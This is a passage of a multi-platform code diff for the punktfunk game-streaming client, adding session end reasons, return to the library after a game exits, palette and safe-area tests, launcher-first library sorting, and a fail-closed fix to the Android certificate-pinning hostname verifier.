NativeBridge.nativeDisconnectQuit(handle); onDisconnect() } + BackHandler { NativeBridge.nativeDisconnectQuit(handle); onSessionEnded(SessionEndReason.LOCAL) } // Leaving the app (Home, task switch, screen off) MUST end the session. Android does not // suspend a process for going to background, so without this the native worker kept running and @@ -625,14 +646,14 @@ fun StreamScreen(session: ActiveSession, onDisconnect: () -> Unit) { // host still saw a live client and held the session (and its display + encoder) open until the // OS eventually reclaimed the process, which on a TV box is effectively never. // - // Route it through `onDisconnect()` so the composable's `onDispose` above runs the one real + // Route it through `onSessionEnded()` so the composable's `onDispose` above runs the one real // teardown path. Deliberately NOT a `nativeDisconnectQuit`: backgrounding isn't a user "quit", // so the host should linger the display and make coming straight back a fast reconnect. DisposableEffect(handle) { val lifecycle = (context as? LifecycleOwner)?.lifecycle val obs = LifecycleEventObserver { _, event -> if (event == Lifecycle.Event.ON_STOP) { - onDisconnect() + onSessionEnded(SessionEndReason.LOCAL) } } lifecycle?.addObserver(obs) diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/models/UiModels.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/models/UiModels.kt index b33f4ac2..7fe3d279 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/models/UiModels.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/models/UiModels.kt @@ -61,6 +61,16 @@ data class ActiveSession( * from "a different host" (a notice; a URL may never preempt a live session). */ val hostId: String? = null, + /** + * This session was started by launching a title from [hostId]'s library, rather than by + * connecting to the host's desktop. + * + * Decides where the client goes when the session ENDS: a title launched out of a library + * belongs back in that library when its game exits — one press from the next one — not on the + * host-selection screen. Only meaningful together with a + * [io.unom.punktfunk.kit.SessionEndReason.GAME_EXITED] ending. + */ + val launchedFromLibrary: Boolean = false, ) /** Trust state of a host, shown as a colored pill on its card. */ diff --git a/clients/android/app/src/test/kotlin/io/unom/punktfunk/GamepadPaletteTest.kt b/clients/android/app/src/test/kotlin/io/unom/punktfunk/GamepadPaletteTest.kt new file mode 100644 index 00000000..df662de4 --- /dev/null +++ b/clients/android/app/src/test/kotlin/io/unom/punktfunk/GamepadPaletteTest.kt @@ -0,0 +1,158 @@ +package io.unom.punktfunk + +import org.junit.Assert.assertEquals +import org.junit.Assert.assertTrue +import org.junit.Test + +// The console UI's background palettes. These assertions are the CONTRACT the Rust +// (`pf-console-ui::library`) and Swift (`GamepadPalette.swift`) ports reproduce — the same ids in +// the same order, the same light/dark split, the same ramp — so one `ui_palette` value is one look +// on every client. +class GamepadPaletteTest { + + private fun luma(c: Triple) = + 0.2126 * c.first + 0.7152 * c.second + 0.0722 * c.third + + /** Hue angle in degrees, or null for something too grey to have one. */ + private fun hue(c: Triple): Double? { + val (r, g, b) = c + val max = maxOf(r, g, b) + val min = minOf(r, g, b) + val d = max - min + if (d < 0.04) return null + val h = when (max) { + r -> 60.0 * (((g - b) / d) % 6.0) + g -> 60.0 * ((b - r) / d + 2.0) + else -> 60.0 * ((r - g) / d + 4.0) + } + return (h + 360.0) % 360.0 + } + + /** Ids, order and the light/dark split are the cross-client contract. */ + @Test + fun tableMatchesTheOtherClients() { + assertEquals( + listOf( + "violet", "nebula", "abyss", "ember", "moss", "graphite", + "holo", "sunset", "bloom", "dawn", "mint", "opal", + ), + GamepadPalette.ALL.map { it.id }, + ) + // Dark fields lead, pale ones follow, so stepping the row walks one direction. + val firstLight = GamepadPalette.ALL.indexOfFirst { it.light } + assertEquals(6, firstLight) + assertTrue(GamepadPalette.ALL.drop(firstLight).all { it.light }) + // An unknown name is a newer client's palette, not an error. + assertEquals("violet", GamepadPalette.named("chartreuse").id) + assertEquals("violet", GamepadPalette.named("").id) + // The brand default keeps the shipped field rather than a generated ramp. + assertTrue(GamepadPalette.named("violet").stops.isEmpty()) + } + + /** + * A palette must read as SEVERAL hues, not one hue at several brightnesses — that was exactly + * the complaint about the hue-rotation model this replaced. + */ + @Test + fun everyPaletteIsMultiTone() { + for (p in GamepadPalette.ALL) { + val stops = p.stops.ifEmpty { continue } + val hues = stops.mapNotNull { hue(it) } + assertTrue("${p.id}: too few coloured stops", hues.size >= 3) + var spread = 0.0 + for (a in hues) { + for (b in hues) { + val d = Math.abs(a - b) % 360.0 + spread = maxOf(spread, minOf(d, 360.0 - d)) + } + } + // Graphite and Opal are deliberately near-neutral; the rest must travel. + val floor = if (p.id == "graphite" || p.id == "opal") 20.0 else 45.0 + assertTrue("${p.id} spans only $spread° of hue", spread >= floor) + } + } + + /** A pale palette really is pale — its ink flips, so a mislabelled one is unreadable. */ + @Test + fun palettesAreHonestAboutLightness() { + for (p in GamepadPalette.ALL) { + if (p.light) { + assertTrue("${p.id}'s ground is dark", luma(p.ground) > 0.6) + assertTrue("${p.id}'s accent is too pale", luma(p.accent) < 0.45) + } else { + assertTrue("${p.id}'s ground is light", luma(p.ground) < 0.2) + assertTrue("${p.id}'s accent is too dark", luma(p.accent) > 0.25) + } + } + } + + /** The ramp is the shared sampling rule the Rust and Swift ports reproduce. */ + @Test + fun rampInterpolatesBetweenStops() { + val stops = listOf( + Triple(0.0, 0.0, 0.0), Triple(1.0, 0.0, 0.0), Triple(1.0, 1.0, 1.0), + ) + assertEquals(Triple(0.0, 0.0, 0.0), GamepadPalette.ramp(stops, 0.0)) + assertEquals(Triple(1.0, 1.0, 1.0), GamepadPalette.ramp(stops, 1.0)) + assertEquals(Triple(1.0, 0.0, 0.0), GamepadPalette.ramp(stops, 0.5)) + assertEquals(0.5, GamepadPalette.ramp(stops, 0.25).first, 1e-9) + // Out of range clamps rather than throwing. + assertEquals(Triple(0.0, 0.0, 0.0), GamepadPalette.ramp(stops, -3.0)) + assertEquals(Triple(1.0, 1.0, 1.0), GamepadPalette.ramp(stops, 9.0)) + assertEquals(Triple(0.0, 0.0, 0.0), GamepadPalette.ramp(emptyList(), 0.5)) + } + + /** The ink a palette calls for: white on a dark field, near-black on a pale one. */ + @Test + fun inkFollowsTheField() { + val dark = GamepadInk.of(GamepadPalette.named("violet")) + assertTrue(!dark.isLight) + assertEquals(1f, dark.fg.red, 1e-6f) + assertEquals(1f, dark.shadeScale, 1e-6f) + + val light = GamepadInk.of(GamepadPalette.named("holo")) + assertTrue(light.isLight) + assertTrue("pale fields need dark ink", light.fg.red < 0.3f) + // A pale field's scrims must pull far less, or they bleach the gradient. + assertTrue(light.shadeScale < 0.5f) + } + + /** + * Every settings row lands in exactly one tab — a row missing from the tab map is a setting + * that became unreachable on a TV, which is precisely what this screen exists to prevent. + */ + @Test + fun everySettingsRowHasATab() { + val rows = buildSettingsRows(Settings(), hasBodyVibrator = true, av1Capable = true) {} + assertTrue(rows.isNotEmpty()) + assertEquals(rows.size, rows.map { it.id }.toSet().size) + // Profiles is built separately (from the catalog), so no settings row claims it. + assertTrue(rows.none { it.tab == GpTab.PROFILES }) + for (t in listOf(GpTab.STREAM, GpTab.VIDEO, GpTab.AUDIO, GpTab.CONTROLLER, GpTab.INTERFACE)) { + assertTrue("$t is empty", rows.any { it.tab == t }) + } + } + + /** The Background row steps the shared `ui_palette` key and wraps on A, like every choice row. */ + @Test + fun backgroundRowStepsTheSharedKey() { + var s = Settings() + fun rows() = buildSettingsRows(s, hasBodyVibrator = false, av1Capable = false) { s = it } + fun palette() = rows().first { it.id == "palette" } + + assertEquals("violet", s.uiPalette) + assertEquals("Violet", palette().value) + assertTrue("already the first = thud", !palette().adjust(-1)) + assertTrue(palette().adjust(1)) + assertEquals(GamepadPalette.ALL[1].id, s.uiPalette) + + // A from the last entry wraps home. + s = s.copy(uiPalette = GamepadPalette.ALL.last().id) + palette().activate() + assertEquals("violet", s.uiPalette) + + // A store written by a newer client shows the palette that is actually drawing. + s = s.copy(uiPalette = "chartreuse") + assertEquals("Violet", palette().value) + } +} diff --git a/clients/android/app/src/test/kotlin/io/unom/punktfunk/SafeAreaTest.kt b/clients/android/app/src/test/kotlin/io/unom/punktfunk/SafeAreaTest.kt new file mode 100644 index 00000000..0c7075b5 --- /dev/null +++ b/clients/android/app/src/test/kotlin/io/unom/punktfunk/SafeAreaTest.kt @@ -0,0 +1,48 @@ +package io.unom.punktfunk + +import org.junit.Assert.assertEquals +import org.junit.Assert.assertTrue +import org.junit.Test + +/** + * Pure JVM test of the safe-area stream geometry ([SafeArea]) and the sentinel that selects it — + * the width-only inset that keeps the picture clear of the cutout and the rounded corners. + * Run: `./gradlew :app:testDebugUnitTest`. + */ +class SafeAreaTest { + @Test + fun insetsBothSidesAndStaysHostValid() { + // A punch-hole phone: 2400 px wide, 96 px of unsafe edge per side → 2208. + assertEquals(2400 - 96 * 2, SafeArea.insetWidth(2400, 96)) + // Odd results even-floor — the host rejects odd dimensions outright, and an inset + // subtraction lands odd about half the time. + assertEquals(0, SafeArea.insetWidth(2401, 95) % 2) + // No cutout and square corners → the native width, unchanged. + assertEquals(2400, SafeArea.insetWidth(2400, 0)) + } + + @Test + fun absurdInsetsCannotDriveTheModeUnderTheHostFloor() { + assertEquals(SafeArea.MIN_WIDTH, SafeArea.insetWidth(1280, 5000)) + // A negative reading is treated as no inset rather than widening past the panel. + assertEquals(1280, SafeArea.insetWidth(1280, -40)) + } + + @Test + fun safeModeIsNarrowerThanNativeWheneverThereIsAnInset() { + val native = 2556 + assertTrue(SafeArea.insetWidth(native, 60) < native) + } + + @Test + fun theSentinelIsAPresetAndNeverReadsAsCustom() { + // The safe-area mode is a stored preset, not a typed size: `isCustomResolution` must be + // false for it, or the touch settings would open the custom width/height fields on it and + // the gamepad screen would prepend a bogus "Custom · -2 × -2" row. + val s = Settings(width = SAFE_AREA_MODE, height = SAFE_AREA_MODE) + assertTrue(!s.isCustomResolution()) + // And it must be distinct from the UI's own "Custom…" sentinel (-1). + assertTrue(SAFE_AREA_MODE != -1) + assertTrue(RESOLUTION_OPTIONS.any { it.first == SAFE_AREA_MODE && it.second == SAFE_AREA_MODE }) + } +} diff --git a/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ScreenshotTest.kt b/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ScreenshotTest.kt index 3fe894ea..8af7d299 100644 --- a/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ScreenshotTest.kt +++ b/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ScreenshotTest.kt @@ -106,6 +106,14 @@ class ScreenshotTest { @Test fun connectingConsole() = shootRoot("connecting-console") { ConnectConsoleScene() } + @Test + fun consoleSettings() = shootRoot("console-settings") { ConsoleSettingsScene() } + + /** A PALE palette: the whole UI flips to dark ink on white frost, which only a shot proves. */ + @Test + fun consoleSettingsLight() = + shootRoot("console-settings-light") { ConsoleSettingsScene(paletteId = "holo") } + @Test fun trust() = shootScreen("trust") { HostsScene() diff --git a/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ShotScenes.kt b/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ShotScenes.kt index b012a453..de69a24e 100644 --- a/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ShotScenes.kt +++ b/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ShotScenes.kt @@ -31,6 +31,12 @@ import io.unom.punktfunk.BrandDark import io.unom.punktfunk.ConnectModal import io.unom.punktfunk.ConnectPhase import io.unom.punktfunk.ConnectTakeover +import androidx.compose.runtime.CompositionLocalProvider +import io.unom.punktfunk.GamepadInk +import io.unom.punktfunk.GamepadPalette +import io.unom.punktfunk.GamepadSettingsScreen +import io.unom.punktfunk.LocalGamepadInk +import io.unom.punktfunk.LocalGamepadPalette import io.unom.punktfunk.Settings import io.unom.punktfunk.TouchMode import io.unom.punktfunk.SettingsCategory @@ -355,9 +361,11 @@ internal fun StreamScene(verbosity: StatsVerbosity = StatsVerbosity.DETAILED) { // dispValid, displayP50, e2eDispP50, e2eDispP95]. // 10/9/16/1 = a 10-bit BT.2020 PQ (HDR) 4:2:0 feed so the DETAILED HUD renders its // video-feed line; the display stage is valid (dispValid 1) so the headline is the - // directly-measured capture→displayed pair (1.8/2.6) and the Phase-2 stage terms - // (host 0.6 + network 0.3 + decode 0.4 + display 0.5) tile it, rendering the full split - // equation; the decoder label shows the ranked low-latency decoder. Light per-window loss + // directly-measured capture→displayed pair, less the excluded OS present floor (the 0.3 + // latch p50) — 1.5/2.3 shown from 1.8/2.6 raw — and the Phase-2 stage terms + // (host 0.6 + network 0.3 + decode 0.4 + display 0.2) tile the shaved headline, with the + // `os present +0.3 excluded` line naming what came off; the decoder label shows the ranked + // low-latency decoder. Light per-window loss // (lost 2 · skipped 1 · FEC 5 of 238) so the reliability line (NORMAL/DETAILED) and the // compact loss flag both render. StatsOverlay( @@ -404,3 +412,25 @@ internal fun WakeTimedOutScene() = @Composable internal fun ConnectConsoleScene() = ConnectTakeover(ConnectPhase.Connecting("Living Room PC"), onCancel = {}, onRetry = {}) + +/** + * The real console settings screen — the section tab strip, the glass rows, the focused row's + * unfolded detail, and the living (calmed) backdrop behind them. The touch [SettingsScene] can't + * stand in for it: this is a different screen with different navigation, and the strip is the part + * a layout regression would eat first. + */ +@Composable +internal fun ConsoleSettingsScene(paletteId: String = "violet") { + // The scene calls the screen directly, so it has to publish the palette locals `App` would + // normally provide — without them a light palette would render with the default DARK ink and + // the shot would silently prove nothing. + val palette = GamepadPalette.named(paletteId) + CompositionLocalProvider( + LocalGamepadPalette provides palette, + LocalGamepadInk provides GamepadInk.of(palette), + ) { + GamepadSettingsScreen( + initial = SHOT_SETTINGS.copy(uiPalette = paletteId), onChange = {}, onBack = {}, + ) + } +} diff --git a/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/NativeBridge.kt b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/NativeBridge.kt index e8a93e60..77513e1f 100644 --- a/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/NativeBridge.kt +++ b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/NativeBridge.kt @@ -87,6 +87,18 @@ object NativeBridge { */ external fun nativeSessionEnded(handle: Long): Boolean + /** + * WHY the session ended, as a [SessionEndReason] ordinal — decode with + * [SessionEndReason.fromNative]. `0` (NONE) before it ends, or on a `0` handle. + * + * The companion to [nativeSessionEnded], which only says THAT it ended. Both are needed: the + * flag to leave a dead stream, this to decide what to tell the user. A player quitting their + * game and a host falling off the network both end the session, and with no way to separate + * them the watchdog said "the host may be asleep" for all of them — wrong for every deliberate + * ending. Cheap (one atomic load); UI-safe. + */ + external fun nativeEndReason(handle: Long): Int + /** * Run the SPAKE2 PIN ceremony, presenting [certPem]/[keyPem]. Returns the host's verified * fingerprint (64-hex) to persist + pin, or `""` on failure (wrong PIN / MITM / unreachable). diff --git a/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/SessionEndReason.kt b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/SessionEndReason.kt new file mode 100644 index 00000000..f918cb53 --- /dev/null +++ b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/SessionEndReason.kt @@ -0,0 +1,56 @@ +package io.unom.punktfunk.kit + +/** + * Why a stream session ended — the Kotlin mirror of `punktfunk_core::client::PunktfunkEndReason`, + * read via [NativeBridge.nativeEndReason]. + * + * The distinction that matters to a UI is **normal vs alarming**, and it is not a spectrum: a + * player quitting their game and a host falling off the network both arrive as "the session + * ended". With no way to tell them apart this client showed one message for all of them — and it + * was the alarming one ("Connection lost — the host may be asleep"), in front of players who had + * just quit their own game. + * + * Ordinals are an ABI contract with the Rust side: append only, never renumber. + */ +enum class SessionEndReason { + /** Not ended, or ended before a reason could be observed. Also the fallback for an unknown value. */ + NONE, + + /** This client closed the session — the user pressed back or stop. Nothing to report. */ + LOCAL, + + /** + * The host's launched game exited. A normal finish, and the one reason worth acting on: go back + * to the library the title was launched from, so the next one is a tap away. + */ + GAME_EXITED, + + /** The host ended the session deliberately (an operator "End", or it simply finished). Normal. */ + HOST_ENDED, + + /** The host closed reporting a failure of its own. Worth showing; the host's log has the detail. */ + HOST_ERROR, + + /** + * The connection died rather than being closed: idle timeout, reset, the network going away. + * This — and only this — is the "the host may be asleep, wake it" case. + */ + LOST; + + /** + * Is this an ordinary outcome rather than something to alarm the user about? + * + * The question nearly every caller actually asks. [LOCAL], [GAME_EXITED] and [HOST_ENDED] were + * all meant to happen. [NONE] counts as normal — no evidence of trouble is not evidence of it. + */ + val isNormal: Boolean + get() = this != HOST_ERROR && this != LOST + + companion object { + /** + * Decode the JNI byte. An unrecognized value becomes [NONE] rather than throwing: this + * crosses an ABI where the native side may be newer than this code. + */ + fun fromNative(v: Int): SessionEndReason = entries.getOrNull(v) ?: NONE + } +} diff --git a/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/discovery/HostDiscovery.kt b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/discovery/HostDiscovery.kt index e67b766a..18b6bd39 100644 --- a/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/discovery/HostDiscovery.kt +++ b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/discovery/HostDiscovery.kt @@ -132,6 +132,27 @@ class HostDiscovery(context: Context) { handler.post(poll) } + /** + * Tear the browse down and start a fresh one. This is the manual rescan, and the recovery path + * for a browse that started while blocked (permission not yet granted, multicast filtered) or + * that never started at all ([start] gives up when `nativeDiscoveryStart` returns 0, and + * nothing else would ever retry it). + * + * It also puts a query back on the wire: `mdns-sd` re-queries on a doubling backoff that caps + * at an hour, so a long-lived browse is effectively passive — a host that appeared since, or + * whose announcement was lost to multicast, may never be asked for again. + * + * The currently-shown host set is left alone across the swap (rather than blinking empty via + * [stop]'s notification); the first poll of the new browse publishes the fresh set. + */ + fun restart() { + val keep = onChange + onChange = null + stop() + onChange = keep + start() + } + fun stop() { if (!running && nativeHandle == 0L) return running = false diff --git a/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt index 12b4d1e3..3dfbeeb2 100644 --- a/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt +++ b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt @@ -37,9 +37,51 @@ data class Artwork(val portrait: String?, val header: String?, val hero: String? val posterCandidates: List get() = listOfNotNull(portrait, header, hero) } -/** One title in the unified library. [id] is store-qualified (`steam:` / `custom:`). */ -data class GameEntry(val id: String, val store: String, val title: String, val art: Artwork) { +/** + * One title in the unified library. [id] is store-qualified (`steam:` / `custom:`). + * + * [role] is `"game"` (the default, and what an older host omits) or `"launcher"` — an entry that + * opens the launcher itself (Steam Big Picture, Heroic) rather than a title. Kept a plain nullable + * String on purpose: the host owns the vocabulary, and an unknown future value must degrade to a + * game rather than break the decode (design D4). + */ +data class GameEntry( + val id: String, + val store: String, + val title: String, + val art: Artwork, + val role: String? = null, +) { val isCustom: Boolean get() = store == "custom" + + /** Whether this entry opens a launcher rather than a game. */ + val isLauncher: Boolean get() = role == "launcher" + + /** + * Display name for the store badge — the same table the other clients use + * (`pf-console-ui::library::store_label`). Before this the UI said "Steam" for every non-custom + * entry, which a Lutris or GOG title made a lie. + */ + val storeLabel: String get() = when (store) { + "steam" -> "Steam" + "custom" -> "Custom" + "heroic" -> "Heroic" + "lutris" -> "Lutris" + "epic" -> "Epic" + "gog" -> "GOG" + "xbox" -> "Xbox" + else -> "Game" + } +} + +/** + * Design D4: launcher entries lead the shelf, keeping the host's title order within each group. + * Applied once where the library is fetched, so no screen has to remember the rule — and a library + * without launcher entries comes back untouched. + */ +fun List.launchersFirst(): List { + val launchers = filter { it.isLauncher } + return if (launchers.isEmpty()) this else launchers + filterNot { it.isLauncher } } /** Fetch outcome — three states so the UI can guide setup (the common case is "not paired yet"). */ @@ -108,10 +150,11 @@ object LibraryClient { header = resolveArt(str(art, "header"), base), hero = resolveArt(str(art, "hero"), base), ), + role = str(o, "role"), ), ) } - return out + return out.launchersFirst() } /** A present, non-null, non-blank JSON string field, else null. */ @@ -127,8 +170,14 @@ object LibraryClient { * An OkHttpClient that presents the paired client cert and pins the host's self-signed cert by * SHA-256(DER) — reused for BOTH the library fetch and the cover-art loads (so a paired client * reaches the host's own art proxy). The pinning trust manager trusts the host by fingerprint and - * defers to normal public trust for any other origin (an external CDN URL); the hostname verifier - * accepts the pinned host (whose self-signed cert has no matching SAN) and defers otherwise. + * defers to normal public trust for any other origin (an external CDN URL). + * + * The two checks are only sound TOGETHER, and the composition is the point: the trust manager + * cannot fail closed on its own (it has no hostname, so it must let a CDN chain through), so the + * hostname verifier is what makes the pinned host pin-only. Loosen either and a publicly-trusted + * certificate for any name is accepted for the host — which is exactly what 2026-08-05 review M-2 + * found. The host's own cert is self-signed with no matching SAN, so it can never satisfy the + * default verifier; the pin is its only credential, on purpose. */ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String): OkHttpClient { val clientCert = CertificateFactory.getInstance("X.509") @@ -162,7 +211,26 @@ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String) val defaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier() val verifier = HostnameVerifier { hostname, session -> - hostname == host || defaultVerifier.verify(hostname, session) + if (hostname == host) { + // The PINNED host fails closed: only the pinned leaf is acceptable for this name. + // + // This used to be a bare `hostname == host`, which composed with the trust manager's + // system-CA fall-through into "any publicly-trusted certificate, for any name, is + // accepted for the pinned host" — the pin was decorative (2026-08-05 review M-2). A + // MITM with any free CA-issued cert intercepted the connection, received the client's + // mTLS IDENTITY certificate, and served attacker-chosen library JSON and art URLs. + // The Rust (`pf-client-core`) and Apple (`ClientTLS`) paths already fail closed here; + // only Android did not. + try { + sha256Hex((session.peerCertificates.firstOrNull() as? X509Certificate)?.encoded ?: return@HostnameVerifier false) == pinned + } catch (_: Exception) { + false + } + } else { + // Any other origin (an external CDN art URL) is ordinary public trust: the system + // trust manager validated the chain, and this checks the name against it. + defaultVerifier.verify(hostname, session) + } } return OkHttpClient.Builder() diff --git a/clients/android/native/src/session/connect.rs b/clients/android/native/src/session/connect.rs index 982400f7..98480361 100644 --- a/clients/android/native/src/session/connect.rs +++ b/clients/android/native/src/session/connect.rs @@ -404,6 +404,31 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeSessionEnde }) } +/// `NativeBridge.nativeEndReason(handle): Int` — WHY the session ended, as a +/// `punktfunk_core::client::PunktfunkEndReason` byte (Kotlin mirrors it in `SessionEndReason`). +/// +/// Companion to `nativeSessionEnded`, which only says THAT it ended. Kotlin's watchdog needs both: +/// the flag to leave a dead stream, and this to decide what — if anything — to tell the user. A +/// player quitting their game and a host dropping off the network both end the session, and until +/// this existed the watchdog worded them identically ("the host may be asleep"), which is wrong for +/// every deliberate ending. `0` (NONE) on a `0` handle or before the session ends. Cheap (one +/// atomic load); safe on the UI thread. +#[no_mangle] +pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeEndReason( + _env: JNIEnv, + _this: JObject, + handle: jlong, +) -> jint { + jni_guard(0, || { + if handle == 0 { + return 0; + } + // SAFETY: live handle per the nativeConnect/nativeClose contract. + let h = unsafe { &*(handle as *const SessionHandle) }; + h.client.end_reason() as jint + }) +} + /// `NativeBridge.nativePair(host, port, certPem, keyPem, pin, name): String` — run the SPAKE2 PIN /// ceremony, presenting our persistent identity. On success returns the host's verified fingerprint /// (64-hex) to persist + pin; on any failure (wrong PIN / MITM / host reject / unreachable) returns diff --git a/clients/apple/Sources/PunktfunkClient/ContentView.swift b/clients/apple/Sources/PunktfunkClient/ContentView.swift index c28d6add..2b16327b 100644 --- a/clients/apple/Sources/PunktfunkClient/ContentView.swift +++ b/clients/apple/Sources/PunktfunkClient/ContentView.swift @@ -206,6 +206,20 @@ struct ContentView: View { model.setStatsVerbosity(StatsVerbosity(rawValue: raw) ?? .normal) } #if os(iOS) || os(tvOS) + // Coming back to the app re-arms the LAN browse. The home's `onAppear`/`onDisappear` do + // NOT fire across background/foreground, and a browse the system suspended while we were + // away does not resume on its own — so the host grid came back empty and stayed empty + // until the app was relaunched. No-op unless the browse is already running (mid-session + // the home has deliberately torn it down). + // + // Mobile only: macOS never suspends the process, and its `scenePhase` flips on every + // window focus change — re-arming there would rebuild the browser each time you alt-tab. + // A Mac browse that genuinely breaks is caught by `HostDiscovery`'s own sweep instead. + .onChange(of: scenePhase) { _, phase in + if phase == .active { discovery.refreshIfRunning() } + } + #endif + #if os(iOS) || os(tvOS) // Backgrounding driver. Only .background/.active matter; .inactive (a transient peek) is // ignored so neither branch fires for a Control-Center pull. // @@ -335,6 +349,16 @@ struct ContentView: View { active: fullscreenForSession && model.connection != nil, isFullscreen: $isFullscreen)) #endif + // A game launched from the library just exited, so the session ended on purpose: put the + // player back in that host's library rather than on host selection. Set on the outer Group + // (like the sheets below) so it survives the streaming → home transition the disconnect + // drives, and consumed here — the model hands the host over once and we clear it, so a + // later manual dismiss of the library can't be undone by a stale value. + .onChange(of: model.returnToLibrary) { _, host in + guard let host else { return } + model.returnToLibrary = nil + libraryTarget = host + } // On the outer Group so the sheet survives the trust-prompt → home transition // (the "Pair with PIN instead" path disconnects first — the host's accept loop // is sequential, a pairing connection would queue behind the live session). @@ -512,6 +536,9 @@ struct ContentView: View { waker: waker, gamepadUI: gamepadUIActive, onCancelConnect: { model.disconnect() }) + // The takeover mounts OUTSIDE the gamepad screens (it covers the whole home), so + // it publishes the palette's ink itself rather than inheriting it. + .gamepadPaletteInk() } } diff --git a/clients/apple/Sources/PunktfunkClient/Home/ConnectOverlay.swift b/clients/apple/Sources/PunktfunkClient/Home/ConnectOverlay.swift index b8246e98..c3fe8b3e 100644 --- a/clients/apple/Sources/PunktfunkClient/Home/ConnectOverlay.swift +++ b/clients/apple/Sources/PunktfunkClient/Home/ConnectOverlay.swift @@ -47,12 +47,16 @@ struct ConnectOverlay: View { return nil } + @Environment(\.gamepadInk) private var ink + var body: some View { if let phase { ZStack { if gamepadUI { - // Console: an opaque, living aurora over everything. - Color.black.ignoresSafeArea() + // Console: an opaque, living aurora over everything, in the chosen palette. + // The takeover's own text rides `ink`, so a pale palette flips it here too — + // without that this is the one console screen that stays white-on-white. + ink.isLight ? Color.white.ignoresSafeArea() : Color.black.ignoresSafeArea() GamepadScreenBackground().ignoresSafeArea() Color.clear.contentShape(Rectangle()).onTapGesture {} content(phase).padding(40).frame(maxWidth: 460) @@ -70,7 +74,8 @@ struct ConnectOverlay: View { .padding(40) } } - .environment(\.colorScheme, .dark) + // The console takeover follows the palette; the default UI's modal stays dark. + .environment(\.colorScheme, gamepadUI && ink.isLight ? .light : .dark) .transition(.opacity) #if os(iOS) || os(macOS) .background { ConnectControllerInput(waker: waker, onCancelConnect: onCancelConnect) } diff --git a/clients/apple/Sources/PunktfunkClient/Home/GamepadAddHostView.swift b/clients/apple/Sources/PunktfunkClient/Home/GamepadAddHostView.swift index 30a820c5..f5af6b36 100644 --- a/clients/apple/Sources/PunktfunkClient/Home/GamepadAddHostView.swift +++ b/clients/apple/Sources/PunktfunkClient/Home/GamepadAddHostView.swift @@ -12,6 +12,7 @@ import SwiftUI #if os(iOS) || os(macOS) || os(tvOS) struct GamepadAddHostView: View { + @Environment(\.gamepadInk) private var ink @Environment(\.dismiss) private var dismiss let onAdd: (StoredHost) -> Void @@ -47,12 +48,12 @@ struct GamepadAddHostView: View { VStack(spacing: 4) { Text("Add Host") .font(.geist(gamepadTitleSize(compact: compact), .bold, relativeTo: .title)) - .foregroundStyle(.white) + .foregroundStyle(ink.fg) if !compact { Text("Hosts on this network appear automatically — add one by address " + "for everything else.") .font(.geist(GamepadFormMetrics.detailFont, relativeTo: .caption)) - .foregroundStyle(.white.opacity(0.55)) + .foregroundStyle(ink.fg(0.55)) .multilineTextAlignment(.center) .frame(maxWidth: GamepadFormMetrics.rowMaxWidth * 0.72) } @@ -73,6 +74,9 @@ struct GamepadAddHostView: View { } // No aurora — the same clean Liquid-Glass-over-dark base as the gamepad settings screen. .background { GamepadFormBackground() } + // Publish the palette's ink to this screen (text, glass, accent, scrims) — a + // pale palette flips all of them, and no leaf should have to read the setting. + .gamepadPaletteInk() // A port can't exceed 5 digits — cap while typing so the row can't grow absurd. .onChange(of: port) { _, value in if value.count > 5 { port = String(value.prefix(5)) } @@ -143,7 +147,7 @@ struct GamepadAddHostView: View { Button { dismiss() } label: { Image(systemName: "xmark") .font(.system(size: GamepadFormMetrics.closeFont, weight: .semibold)) - .foregroundStyle(.white) + .foregroundStyle(ink.fg) .frame(width: GamepadFormMetrics.closeSide, height: GamepadFormMetrics.closeSide) .glassBackground(Circle(), interactive: true) .contentShape(Circle()) @@ -180,22 +184,22 @@ struct GamepadAddHostView: View { if row.isAction { Label("Add Host", systemImage: "plus.circle.fill") .font(.geist(m.labelFont, .semibold, relativeTo: .body)) - .foregroundStyle(canAdd ? Color.brand : .white.opacity(0.35)) + .foregroundStyle(canAdd ? ink.accent : ink.fg(0.35)) .frame(maxWidth: .infinity) } else { Text(row.label) .font(.geist(m.labelFont, .semibold, relativeTo: .body)) - .foregroundStyle(.white) + .foregroundStyle(ink.fg) Spacer(minLength: 12) Text(row.value.isEmpty ? row.placeholder : row.value) .font(.geistFixed(m.valueFont, .medium)) - .foregroundStyle(row.value.isEmpty ? .white.opacity(0.35) : .white) + .foregroundStyle(row.value.isEmpty ? ink.fg(0.35) : ink.fg) .lineLimit(1) .truncationMode(.head) // keep the end of a long address visible while typing if editing == row.id { // The live-edit caret: this row is what the keyboard tray is typing into. Rectangle() - .fill(Color.brand) + .fill(ink.accent) .frame(width: 2, height: m.labelFont + 2) } } @@ -206,12 +210,12 @@ struct GamepadAddHostView: View { // takes the 